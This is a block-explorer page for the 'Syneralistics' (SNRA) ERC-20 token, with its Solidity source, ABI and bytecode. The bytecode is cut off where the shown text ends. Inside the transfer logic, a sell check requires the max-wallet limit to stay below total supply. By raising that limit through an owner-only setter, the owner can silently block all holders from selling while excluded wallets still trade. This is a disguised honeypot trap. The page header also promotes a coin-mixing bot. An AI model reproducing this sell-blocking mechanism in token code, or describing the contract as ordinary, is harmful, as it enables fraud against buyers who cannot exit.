Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 SNRA
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,800,000 SNRAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Syneralistics
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-07 */ // SPDX-License-Identifier: UNLICENSE /* Website: https://syneralistics.io/ Telegram: https://t.me/syneralistics X: https://x.com/Syneralistics Medium: https://medium.com/@syneralisticsofficial Github: https://github.com/Syneralistics Docs: https://syneralistics.gitbook.io/syneralistics/ Utilities: Testnet Explorer: https://testnet.syneralistics.io/ Mixer Telegram Bot: https://t.me/SNRAmix_bot Syneralistics DEX: https://dex.syneralistics.io/ */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Syneralistics is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Syneralistics"; string private constant _symbol = unicode"SNRA"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable public _taxWallet; address payable public _developmentWallet; uint256 private _initialBuyTax=10; uint256 private _initialSellTax=30; uint256 private _finalBuyTax=5; uint256 private _finalSellTax=5; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=35; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; uint256 public _maxWallet = _tTotal / 50; uint256 public _taxSwapThreshold= _tTotal / 1000; uint256 public _maxTaxSwap= _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { uint256 taxAmount=0; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(tradingOpen); if (from == uniswapV2Pair) { require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWallet."); _buyCount++; } if(to == uniswapV2Pair){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_maxWallet < _tTotal); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, _taxWallet, block.timestamp ); } function enableTrading() external onlyOwner() { swapEnabled = true; tradingOpen = true; } function setDevWallet(address account) external onlyOwner { _developmentWallet = payable(account); } function setMaxWalletSize(uint amount) external onlyOwner { _maxWallet = amount; } function reduceFee(uint256 _newFee) external onlyOwner{ require(_newFee<=30); _finalBuyTax=_newFee; _finalSellTax=_newFee; } function excludeFromFees(address account, bool status) external onlyOwner { _isExcludedFromFee[account] = status; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600a600655601e600755600560085560056009556019600a556023600b556005600c555f600d5560326009600a6200003d9190620004bd565b6200004d906305f5e100620004d4565b620000599190620004ee565b600e556103e86200006d6009600a620004bd565b6200007d906305f5e100620004d4565b620000899190620004ee565b600f5560646200009c6009600a620004bd565b620000ac906305f5e100620004d4565b620000b89190620004ee565b6010556012805461ffff60a81b19169055348015620000d5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001366009600a620004bd565b62000146906305f5e100620004d4565b335f9081526001602081815260408084209490945560038152838320805460ff1990811684179091553084528484208054821684179055737a250d5630b4cf539739df2c5dacb4c659f2488d938490527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054909116909217909155601180546001600160a01b03191683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa15801562000209573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022f91906200050e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b591906200050e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000300573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032691906200050e565b601280546001600160a01b0319166001600160a01b03929092169190911790556200034e3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003876009600a620004bd565b62000397906305f5e100620004d4565b60405190815260200160405180910390a362000536565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040257815f1904821115620003e657620003e6620003ae565b80851615620003f457918102915b93841c9390800290620003c7565b509250929050565b5f826200041a57506001620004b7565b816200042857505f620004b7565b81600181146200044157600281146200044c576200046c565b6001915050620004b7565b60ff841115620004605762000460620003ae565b50506001821b620004b7565b5060208310610133831016604e8410600b841016171562000491575081810a620004b7565b6200049d8383620003c2565b805f1904821115620004b357620004b3620003ae565b0290505b92915050565b5f620004cd60ff8416836200040a565b9392505050565b8082028115828204841417620004b757620004b7620003ae565b5f826200050957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200051f575f80fd5b81516001600160a01b0381168114620004cd575f80fd5b6111a080620005445f395ff3fe608060405260043610610129575f3560e01c806382247ec0116100a8578063a9059cbb1161006d578063a9059cbb1461034b578063bf474bed1461036a578063c02466681461037f578063dd62ed3e1461039e578063ea1644d5146103e2578063ec1f3f6314610401575f80fd5b806382247ec0146102bb57806385320beb146102d05780638a8c523c146102ef5780638da5cb5b1461030357806395d89b411461031f575f80fd5b806323b872dd116100ee57806323b872dd14610202578063313ce567146102215780636f268a991461023c57806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd5780631f53ac02146101e1575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c53796e6572616c69737469637360981b60208201525b6040516101729190610d93565b60405180910390f35b348015610186575f80fd5b5061019a610195366004610df6565b610420565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60105481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610436565b3480156101ec575f80fd5b506102006101fb366004610e20565b610456565b005b34801561020d575f80fd5b5061019a61021c366004610e3b565b6104aa565b34801561022c575f80fd5b5060405160098152602001610172565b348015610247575f80fd5b5060045461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561027e575f80fd5b506101bf61028d366004610e20565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b50610200610511565b3480156102c6575f80fd5b506101bf600e5481565b3480156102db575f80fd5b5060055461025b906001600160a01b031681565b3480156102fa575f80fd5b50610200610582565b34801561030e575f80fd5b505f546001600160a01b031661025b565b34801561032a575f80fd5b50604080518082019091526004815263534e524160e01b6020820152610165565b348015610356575f80fd5b5061019a610365366004610df6565b6105c4565b348015610375575f80fd5b506101bf600f5481565b34801561038a575f80fd5b50610200610399366004610e79565b6105d0565b3480156103a9575f80fd5b506101bf6103b8366004610eb4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ed575f80fd5b506102006103fc366004610ee0565b610623565b34801561040c575f80fd5b5061020061041b366004610ee0565b610651565b5f61042c338484610691565b5060015b92915050565b5f6104436009600a610feb565b610451906305f5e100610ff9565b905090565b5f546001600160a01b031633146104885760405162461bcd60e51b815260040161047f90611010565b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104b68484846106f1565b610507843361050285604051806060016040528060288152602001611143602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a43565b610691565b5060019392505050565b5f546001600160a01b0316331461053a5760405162461bcd60e51b815260040161047f90611010565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ab5760405162461bcd60e51b815260040161047f90611010565b6012805462ff00ff60a01b19166201000160a01b179055565b5f61042c3384846106f1565b5f546001600160a01b031633146105f95760405162461bcd60e51b815260040161047f90611010565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461064c5760405162461bcd60e51b815260040161047f90611010565b600e55565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161047f90611010565b601e811115610687575f80fd5b6008819055600955565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561073157506001600160a01b0383165f9081526003602052604090205460ff16155b1561090657610762606461075c600a54600d541161075157600654610755565b6008545b8590610a7b565b90610b00565b601254909150600160a01b900460ff1661077a575f80fd5b6012546001600160a01b039081169085160361081857600e54826107b2856001600160a01b03165f9081526001602052604090205490565b6107bc9190611045565b11156108035760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b604482015260640161047f565b600d8054905f61081283611058565b91905055505b6012546001600160a01b039081169084160361087b57610853606461075c600b54600d541161084957600754610755565b6009548590610a7b565b90506108616009600a610feb565b61086f906305f5e100610ff9565b600e541061087b575f80fd5b305f90815260016020526040902054601254600160a81b900460ff161580156108b157506012546001600160a01b038581169116145b80156108c65750601254600160b01b900460ff165b80156108d35750600f5481115b80156108e25750600c54600d54115b15610904576109046108ff846108fa84601054610b41565b610b41565b610b55565b505b801561097e57305f908152600160205260409020546109259082610cc8565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109759085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546109a09083610d26565b6001600160a01b0385165f908152600160205260409020556109e36109c58383610d26565b6001600160a01b0385165f9081526001602052604090205490610cc8565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a2c8585610d26565b60405190815260200160405180910390a350505050565b5f8184841115610a665760405162461bcd60e51b815260040161047f9190610d93565b505f610a728486611070565b95945050505050565b5f825f03610a8a57505f610430565b5f610a958385610ff9565b905082610aa28583611083565b14610af95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047f565b9392505050565b5f610af983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d67565b5f818311610b4f5782610af9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610b9b57610b9b6110a2565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bf2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1691906110b6565b81600181518110610c2957610c296110a2565b6001600160a01b039283166020918202929092010152601154610c4f9130911684610691565b6011546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610c8a9388935f9389939216914291016110d1565b5f604051808303815f87803b158015610ca1575f80fd5b505af1158015610cb3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f80610cd48385611045565b905083811015610af95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047f565b5f610af983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a43565b5f8183610d875760405162461bcd60e51b815260040161047f9190610d93565b505f610a728486611083565b5f602080835283518060208501525f5b81811015610dbf57858101830151858201604001528201610da3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610df3575f80fd5b50565b5f8060408385031215610e07575f80fd5b8235610e1281610ddf565b946020939093013593505050565b5f60208284031215610e30575f80fd5b8135610af981610ddf565b5f805f60608486031215610e4d575f80fd5b8335610e5881610ddf565b92506020840135610e6881610ddf565b929592945050506040919091013590565b5f8060408385031215610e8a575f80fd5b8235610e9581610ddf565b915060208301358015158114610ea9575f80fd5b809150509250929050565b5f8060408385031215610ec5575f80fd5b8235610ed081610ddf565b91506020830135610ea981610ddf565b5f60208284031215610ef0575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f4557815f1904821115610f2b57610f2b610ef7565b80851615610f3857918102915b93841c9390800290610f10565b509250929050565b5f82610f5b57506001610430565b81610f6757505f610430565b8160018114610f7d5760028114610f8757610fa3565b6001915050610430565b60ff841115610f9857610f98610ef7565b50506001821b610430565b5060208310610133831016604e8410600b8410161715610fc6575081810a610430565b610fd08383610f0b565b805f1904821115610fe357610fe3610ef7565b029392505050565b5f610af960ff841683610f4d565b808202811582820484141761043057610430610ef7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561043057610430610ef7565b5f6001820161106957611069610ef7565b5060010190565b8181038181111561043057610430610ef7565b5f8261109d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156110c6575f80fd5b8151610af981610ddf565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111215784516001600160a01b0316835293830193918301916001016110fc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fca16bdf59f392121eeb24dd72126fc33a9149daa2e061bb3fe6afe000d3650f64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610129575f3560e01c806382247ec0116100a8578063a9059cbb1161006d578063a9059cbb1461034b578063bf474bed1461036a578063c02466681461037f578063dd62ed3e1461039e578063ea1644d5146103e2578063ec1f3f6314610401575f80fd5b806382247ec0146102bb57806385320beb146102d05780638a8c523c146102ef5780638da5cb5b1461030357806395d89b411461031f575f80fd5b806323b872dd116100ee57806323b872dd14610202578063313ce567146102215780636f268a991461023c57806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd5780631f53ac02146101e1575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c53796e6572616c69737469637360981b60208201525b6040516101729190610d93565b60405180910390f35b348015610186575f80fd5b5061019a610195366004610df6565b610420565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60105481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610436565b3480156101ec575f80fd5b506102006101fb366004610e20565b610456565b005b34801561020d575f80fd5b5061019a61021c366004610e3b565b6104aa565b34801561022c575f80fd5b5060405160098152602001610172565b348015610247575f80fd5b5060045461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561027e575f80fd5b506101bf61028d366004610e20565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b50610200610511565b3480156102c6575f80fd5b506101bf600e5481565b3480156102db575f80fd5b5060055461025b906001600160a01b031681565b3480156102fa575f80fd5b50610200610582565b34801561030e575f80fd5b505f546001600160a01b031661025b565b34801561032a575f80fd5b50604080518082019091526004815263534e524160e01b6020820152610165565b348015610356575f80fd5b5061019a610365366004610df6565b6105c4565b348015610375575f80fd5b506101bf600f5481565b34801561038a575f80fd5b50610200610399366004610e79565b6105d0565b3480156103a9575f80fd5b506101bf6103b8366004610eb4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ed575f80fd5b506102006103fc366004610ee0565b610623565b34801561040c575f80fd5b5061020061041b366004610ee0565b610651565b5f61042c338484610691565b5060015b92915050565b5f6104436009600a610feb565b610451906305f5e100610ff9565b905090565b5f546001600160a01b031633146104885760405162461bcd60e51b815260040161047f90611010565b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104b68484846106f1565b610507843361050285604051806060016040528060288152602001611143602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a43565b610691565b5060019392505050565b5f546001600160a01b0316331461053a5760405162461bcd60e51b815260040161047f90611010565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ab5760405162461bcd60e51b815260040161047f90611010565b6012805462ff00ff60a01b19166201000160a01b179055565b5f61042c3384846106f1565b5f546001600160a01b031633146105f95760405162461bcd60e51b815260040161047f90611010565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461064c5760405162461bcd60e51b815260040161047f90611010565b600e55565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161047f90611010565b601e811115610687575f80fd5b6008819055600955565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561073157506001600160a01b0383165f9081526003602052604090205460ff16155b1561090657610762606461075c600a54600d541161075157600654610755565b6008545b8590610a7b565b90610b00565b601254909150600160a01b900460ff1661077a575f80fd5b6012546001600160a01b039081169085160361081857600e54826107b2856001600160a01b03165f9081526001602052604090205490565b6107bc9190611045565b11156108035760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b604482015260640161047f565b600d8054905f61081283611058565b91905055505b6012546001600160a01b039081169084160361087b57610853606461075c600b54600d541161084957600754610755565b6009548590610a7b565b90506108616009600a610feb565b61086f906305f5e100610ff9565b600e541061087b575f80fd5b305f90815260016020526040902054601254600160a81b900460ff161580156108b157506012546001600160a01b038581169116145b80156108c65750601254600160b01b900460ff165b80156108d35750600f5481115b80156108e25750600c54600d54115b15610904576109046108ff846108fa84601054610b41565b610b41565b610b55565b505b801561097e57305f908152600160205260409020546109259082610cc8565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109759085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546109a09083610d26565b6001600160a01b0385165f908152600160205260409020556109e36109c58383610d26565b6001600160a01b0385165f9081526001602052604090205490610cc8565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a2c8585610d26565b60405190815260200160405180910390a350505050565b5f8184841115610a665760405162461bcd60e51b815260040161047f9190610d93565b505f610a728486611070565b95945050505050565b5f825f03610a8a57505f610430565b5f610a958385610ff9565b905082610aa28583611083565b14610af95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047f565b9392505050565b5f610af983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d67565b5f818311610b4f5782610af9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610b9b57610b9b6110a2565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bf2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1691906110b6565b81600181518110610c2957610c296110a2565b6001600160a01b039283166020918202929092010152601154610c4f9130911684610691565b6011546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610c8a9388935f9389939216914291016110d1565b5f604051808303815f87803b158015610ca1575f80fd5b505af1158015610cb3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f80610cd48385611045565b905083811015610af95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047f565b5f610af983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a43565b5f8183610d875760405162461bcd60e51b815260040161047f9190610d93565b505f610a728486611083565b5f602080835283518060208501525f5b81811015610dbf57858101830151858201604001528201610da3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610df3575f80fd5b50565b5f8060408385031215610e07575f80fd5b8235610e1281610ddf565b946020939093013593505050565b5f60208284031215610e30575f80fd5b8135610af981610ddf565b5f805f60608486031215610e4d575f80fd5b8335610e5881610ddf565b92506020840135610e6881610ddf565b929592945050506040919091013590565b5f8060408385031215610e8a575f80fd5b8235610e9581610ddf565b915060208301358015158114610ea9575f80fd5b809150509250929050565b5f8060408385031215610ec5575f80fd5b8235610ed081610ddf565b91506020830135610ea981610ddf565b5f60208284031215610ef0575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f4557815f1904821115610f2b57610f2b610ef7565b80851615610f3857918102915b93841c9390800290610f10565b509250929050565b5f82610f5b57506001610430565b81610f6757505f610430565b8160018114610f7d5760028114610f8757610fa3565b6001915050610430565b60ff841115610f9857610f98610ef7565b50506001821b610430565b5060208310610133831016604e8410600b8410161715610fc6575081810a610430565b610fd08383610f0b565b805f1904821115610fe357610fe3610ef7565b029392505050565b5f610af960ff841683610f4d565b808202811582820484141761043057610430610ef7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561043057610430610ef7565b5f6001820161106957611069610ef7565b5060010190565b8181038181111561043057610430610ef7565b5f8261109d57634e487b7160e01b5f52601260045260245ffd5b500490565b63